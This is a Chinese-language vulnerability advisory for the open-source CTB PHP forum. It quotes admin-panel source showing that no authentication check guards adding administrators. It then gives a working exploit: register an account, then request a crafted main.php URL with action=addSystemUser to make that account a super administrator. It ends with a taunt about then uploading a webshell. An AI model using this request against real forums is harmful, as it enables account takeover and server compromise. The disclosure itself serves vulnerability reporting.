>>>Dedicated This Scrap To CaoJing<<< 

涉及版本： 
^^^^^^^ 
目前所有版本（現(xiàn)在1.3Alpha為最高版本） 

描述： 
^^^^^^ 
CTB是一款由實(shí)易數(shù)碼<11cn.org>;開(kāi)發(fā)和維護(hù)的源代碼開(kāi)放的PHP論壇。由于其后臺(tái)管理文件驗(yàn)證存在缺陷，可能導(dǎo)致非法用戶(hù)直接添加論壇超級(jí)管理員，進(jìn)而威脅論壇或服務(wù)器安全。 

具體： 
^^^^ 
CTB書(shū)寫(xiě)非常規(guī)范，代碼井然有序，賞心悅目，的確是優(yōu)美的程序；特別是其功能模塊，著實(shí)讓小弟學(xué)習(xí)了一把。但安全方面卻令人堪憂： 

試看如下代碼： 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //獲取get變量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 
} 
... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化類(lèi)變量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

這里沒(méi)有任何驗(yàn)證，我們看看添加管理員的文件： 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系統(tǒng)管理模塊子類(lèi) 
{ 
   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 
{ 
   //輸入數(shù)據(jù)簡(jiǎn)單格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //執(zhí)行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然沒(méi)有驗(yàn)證，一路順利啊！ 

利用方法： 
^^^^^^^ 
先注冊(cè)一個(gè)用戶(hù)： 

登陸ID：  cat 
用戶(hù)名 :   dog 
密碼:      ilikecat 
重復(fù)密碼:  ilikecat 
信箱:      cat@dog.com 

接著提交如下URL： 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈，你現(xiàn)在已經(jīng)是超級(jí)管理員了，不相信？提交如下URL后臺(tái)登陸： 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名稱(chēng):  cat 
管理密碼:  ilikecat 

咦...還真成功了！ 

你現(xiàn)在是不是想更改后臺(tái)上傳文件類(lèi)型，然后upload webshell？哼，被我猜到了吧... 

后記：另外發(fā)現(xiàn)CTB代碼注釋有些扎眼的錯(cuò)別字，大煞風(fēng)景，希望可以一起修正。